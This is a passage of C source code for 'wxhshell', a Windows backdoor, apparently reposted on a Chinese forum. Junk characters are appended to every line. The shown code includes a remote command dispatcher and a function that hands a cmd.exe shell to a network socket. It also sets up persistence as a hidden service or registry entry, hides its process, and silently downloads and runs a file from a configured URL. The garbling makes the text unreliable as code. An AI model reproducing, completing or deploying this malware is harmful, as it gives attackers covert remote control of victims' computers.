      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); |FR3w0o  
    break; Ju` [m  
  } VDEv>u4  
  // 安装 } /^C|iS7  
  case 'i': {  q" @  
    if(Install()) >um!Eo  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); VL( <  
    else V,7%1TZ:  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); mz7l'4']+  
    break; ww d'0P`/  
    } 2h^WYpCm  
  // 卸载 4N? v  
  case 'r': { I?!rOU= 0  
    if(Uninstall()) -0HkTY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); u V6g[J  
    else ,5k-.Md>2*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I0= NaZ7  
    break; "i)Yvh[y  
    } do/)~9[4\  
  // 显示 wxhshell 所在路径 "E!mva*NU  
  case 'p': { I=DLPgzO9  
    char svExeFile[MAX_PATH]; |PVt}*0"  
    strcpy(svExeFile,"\n\r"); M@UVpQwgv  
      strcat(svExeFile,ExeFile); l0]d  
        send(wsh,svExeFile,strlen(svExeFile),0); ;."<m   
    break; x<(b|2qf  
    } $\Lyi#<  
  // 重启 LX+5|u  
  case 'b': { ;-mdi/*g  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 1'w:`/_  
    if(Boot(REBOOT)) !|wzf+V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *=F(KZ  
    else { . 5HQ   
    closesocket(wsh); *tQk;'/A]  
    ExitThread(0); !%L,* '  
    } &Y>zT9]$K  
    break; 9|r* pK[  
    } ilLBCS}  
  // 关机 h+UnZfm  
  case 'd': { ,8Iv9M}2  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); m 40m<@  
    if(Boot(SHUTDOWN)) 6)RbPPeE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >O9 sk  
    else { EYS>0Y  
    closesocket(wsh); ]L_w$ev'  
    ExitThread(0); pR o s{Uq"  
    } {i{xo2<1"  
    break; #~ v4caNx  
    } H. ,;-  
  // 获取shell h=VqxGC&  
  case 's': { dXvt6kF  
    CmdShell(wsh); ?^!,vh  
    closesocket(wsh); yOXO)u1n  
    ExitThread(0); Q'NmSX)0  
    break; 9>*c_  
  } C*Vd-U  
  // 退出 l)8&Ip  
  case 'x': { < +`(\  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ,i}|5ozj4  
    CloseIt(wsh); 70W"G X&  
    break; t={0(  
    } q%3<Juq~$  
  // 离开 O mMX$YID  
  case 'q': { c-]fKj7  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); O_,O,1  
    closesocket(wsh); $Rtgr{ {;"  
    WSACleanup(); f_mhD dq  
    exit(1); .QWhK|(.!  
    break; =jAFgwP\  
        } &V=7D#L  
  } 6 DF  
  } Rs;15@t@  
-e-e9uP  
  // 提示信息 G$WOzY(  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?r_kyuU  
} fZryG  
  } :J_oj:0r"f  
Csst[3V  
  return; S\C*iGeqJ  
} 5mB]N%rfW%  
j+ ::y) $  
// shell模块句柄 M].8HwC+  
int CmdShell(SOCKET sock) }<m{~32M  
{ ~hX-u8Ul'N  
STARTUPINFO si; ,{}#8r`+*  
ZeroMemory(&si,sizeof(si)); /I{R23o  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; E)p9eU[#  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; >>'C :7+Y  
PROCESS_INFORMATION ProcessInfo; 6F0(aGs  
char cmdline[]="cmd"; v"6 \=@  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 5 9 2;W-y  
  return 0; D0bnN1VP  
} 6 vs3O  
`aSM8C\  
// 自身启动模式 Y*YFB|f?  
int StartFromService(void) eD#XDK  
{ L ubrn"128  
typedef struct cnNOZ$)  
{ v"lf-c  
  DWORD ExitStatus; gT52G?-  
  DWORD PebBaseAddress; 4YA./j%'  
  DWORD AffinityMask; P~7.sM  
  DWORD BasePriority; H[&@}v,L  
  ULONG UniqueProcessId; >IvBU M[Rt  
  ULONG InheritedFromUniqueProcessId; VV3}]GjC  
}   PROCESS_BASIC_INFORMATION; QTJu7^ O9  
JJk#,AP  
PROCNTQSIP NtQueryInformationProcess; a:!uORQby  
pa/9F[  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; /XpSe<3  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; C3;[e0.1b  
UZxmh sv  
  HANDLE             hProcess; [~%`N*G  
  PROCESS_BASIC_INFORMATION pbi; &w\ I<J`T  
wT_^'i*@I  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); o#hI5  
  if(NULL == hInst ) return 0; KX+ey8@[  
H#(<-)j0_  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); "ED8z|]j  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); :{}_|]>K  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); !q /5yEJ>h  
 M[P^]J@  
  if (!NtQueryInformationProcess) return 0; POd/+e9d  
bg7n  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 05e>\}{0  
  if(!hProcess) return 0; vgG}d8MW37  
;)/@Xx  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; J\`^:tcG  
EA0iYzV  
  CloseHandle(hProcess); fEqC] *s  
ohZx03  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); x7ATI[b[  
if(hProcess==NULL) return 0; NPU^) B  
S7sb7c'4 k  
HMODULE hMod; Uene=Q6>  
char procName[255]; 9%,;XQ  
unsigned long cbNeeded; &9B_/m3  
@)0 Y~A )  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); @6MAX"  
W kkxU.xXE  
  CloseHandle(hProcess); ,)#.a%EKA  
otriif@+Z  
if(strstr(procName,"services")) return 1; // 以服务启动 zB)%lb  
s (PY/{8  
  return 0; // 注册表启动 >;lKLGJrd>  
} \Ow,CUd  
vA>W9OI   
// 主模块 h7W}OF_=y  
int StartWxhshell(LPSTR lpCmdLine) WmVVR>0V|  
{ Wc4vCVw  
  SOCKET wsl; wq\G|/%  
BOOL val=TRUE; \r -N(;m  
  int port=0; U":"geU  
  struct sockaddr_in door; :YvbU Y  
IC~ljy]y_  
  if(wscfg.ws_autoins) Install(); &YX6"S_B  
zixE Mi[8  
port=atoi(lpCmdLine); L#j/0IHD  
dr]&kqm  
if(port<=0) port=wscfg.ws_port; &HF]\`RNr  
_}=E^/;(  
  WSADATA data; i^g~~h F  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; $I8[BYblB  
&9P<qU^N)  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   a@ W7<9fY;  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); OlGR<X  
  door.sin_family = AF_INET; r%-n*_?.s  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); TA;,>f*  
  door.sin_port = htons(port); uBeNXOre  
n t HT  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { " i`8l.Lc  
closesocket(wsl); Vyt E  
return 1; ]P3[.$z  
}  P\(30  
Lk nVqZ|k  
  if(listen(wsl,2) == INVALID_SOCKET) { iZTa>@   
closesocket(wsl); yYX :huw  
return 1; <Cq"| A  
} Z<]VTo  
  Wxhshell(wsl); FAtWsk*pgY  
  WSACleanup(); \R Z3Hh  
y4<+-  
return 0; qS]G&l6QF  
(#u{ U=  
} ,+-h7^{`  
G8P+A1 f/>  
// 以NT服务方式启动 SCq3Ds^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) /djACA  
{ 7^wE$7hS  
DWORD   status = 0; cjY@Ot*i$  
  DWORD   specificError = 0xfffffff; !%62Phai  
;1E_o  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 9[{sEg=C$e  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 3^~Zj95M  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Czh8zB+r  
  serviceStatus.dwWin32ExitCode     = 0; Mjw[:70  
  serviceStatus.dwServiceSpecificExitCode = 0; ~d+O/:=K_  
  serviceStatus.dwCheckPoint       = 0; .0 X$rX=  
  serviceStatus.dwWaitHint       = 0; lC{L6&T  
04\Ta  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ..$>7y}  
  if (hServiceStatusHandle==0) return; a7 )@BzF#  
LDX y}hm)  
status = GetLastError(); ?N _)>&b  
  if (status!=NO_ERROR)  T{Hf P  
{ Oga1u  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; G5u meqYC  
    serviceStatus.dwCheckPoint       = 0; n)CH^WHL&  
    serviceStatus.dwWaitHint       = 0; 88YC0!Ni  
    serviceStatus.dwWin32ExitCode     = status; _LsYMUe  
    serviceStatus.dwServiceSpecificExitCode = specificError; L9J;8+ge  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); gvr]]}h:O  
    return; .+uVgSN  
  } am (#Fa  
J/[7d?hI/  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; .b~OMTHuvM  
  serviceStatus.dwCheckPoint       = 0; s((b"{fFb  
  serviceStatus.dwWaitHint       = 0; ">,K1:(D  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); !7Uu]m69n  
} kaC+I"4c  
B[7A  
// 处理NT服务事件,比如:启动、停止 `axQd%:AC  
VOID WINAPI NTServiceHandler(DWORD fdwControl) `D"1 gD}{A  
{ QX+Y(P`vMK  
switch(fdwControl) 'A1E^rl]=  
{ *vD/(&pQ1:  
case SERVICE_CONTROL_STOP: W U0UG$o`  
  serviceStatus.dwWin32ExitCode = 0; 0#]!#1utg  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 0STk)> 3$-  
  serviceStatus.dwCheckPoint   = 0; SZE`J:w  
  serviceStatus.dwWaitHint     = 0; 4K'|DO|dH  
  { ZmP1C`>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); oFn4%S:  
  } ~D_ rZ&  
  return; :SdIU36  
case SERVICE_CONTROL_PAUSE: C#T)@UxBZ  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; .W-=x,`hY4  
  break; . Nk6  
case SERVICE_CONTROL_CONTINUE: *NF&Y  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; GJ>ypEWo  
  break; l`qP~ k#  
case SERVICE_CONTROL_INTERROGATE: s)Gb!-``  
  break; 1"d\ mE  
}; C?(y2p`d\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); w4aiI2KFq  
} Uv'uqt  
9QZ}Hn`p  
// 标准应用程序主函数 rr>IKyI'  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) nDF&EE  
{ $'y1 Po'2  
ID+,[TM`  
// 获取操作系统版本 W=F3XYS  
OsIsNt=GetOsVer(); -$b?rt]h1g  
GetModuleFileName(NULL,ExeFile,MAX_PATH); eA10xpM0  
03] r*\  
  // 从命令行安装 x6jm -n  
  if(strpbrk(lpCmdLine,"iI")) Install(); 35}P0+  
6\XP|n-0+0  
  // 下载执行文件 a0)vvo=bz  
if(wscfg.ws_downexe) { &!4( 0u  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) tRkrV]K  
  WinExec(wscfg.ws_filenam,SW_HIDE); zK,~37)\  
} %{Xm5#m  
Le_CIk 5YL  
if(!OsIsNt) { 65uZ LsQ  
// 如果时win9x,隐藏进程并且设置为注册表启动 -z&9 DWH  
HideProc(); 83B\+]{hD  
StartWxhshell(lpCmdLine); v  F]  
} tI `w;e%HN  
else "3v7gtGG  
  if(StartFromService()) +6uOg,;  
  // 以服务方式启动 }@3$)L%n_u  
  StartServiceCtrlDispatcher(DispatchTable); :^K~t!@  
else %odw+PhO  
  // 普通方式启动 xL|?(pQ/BK  
  StartWxhshell(lpCmdLine); Mi<*6j0  
^NcTWbs-T  
return 0; $`ON!,oa  
}
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只看该作者 1 发表于: 2006-10-10
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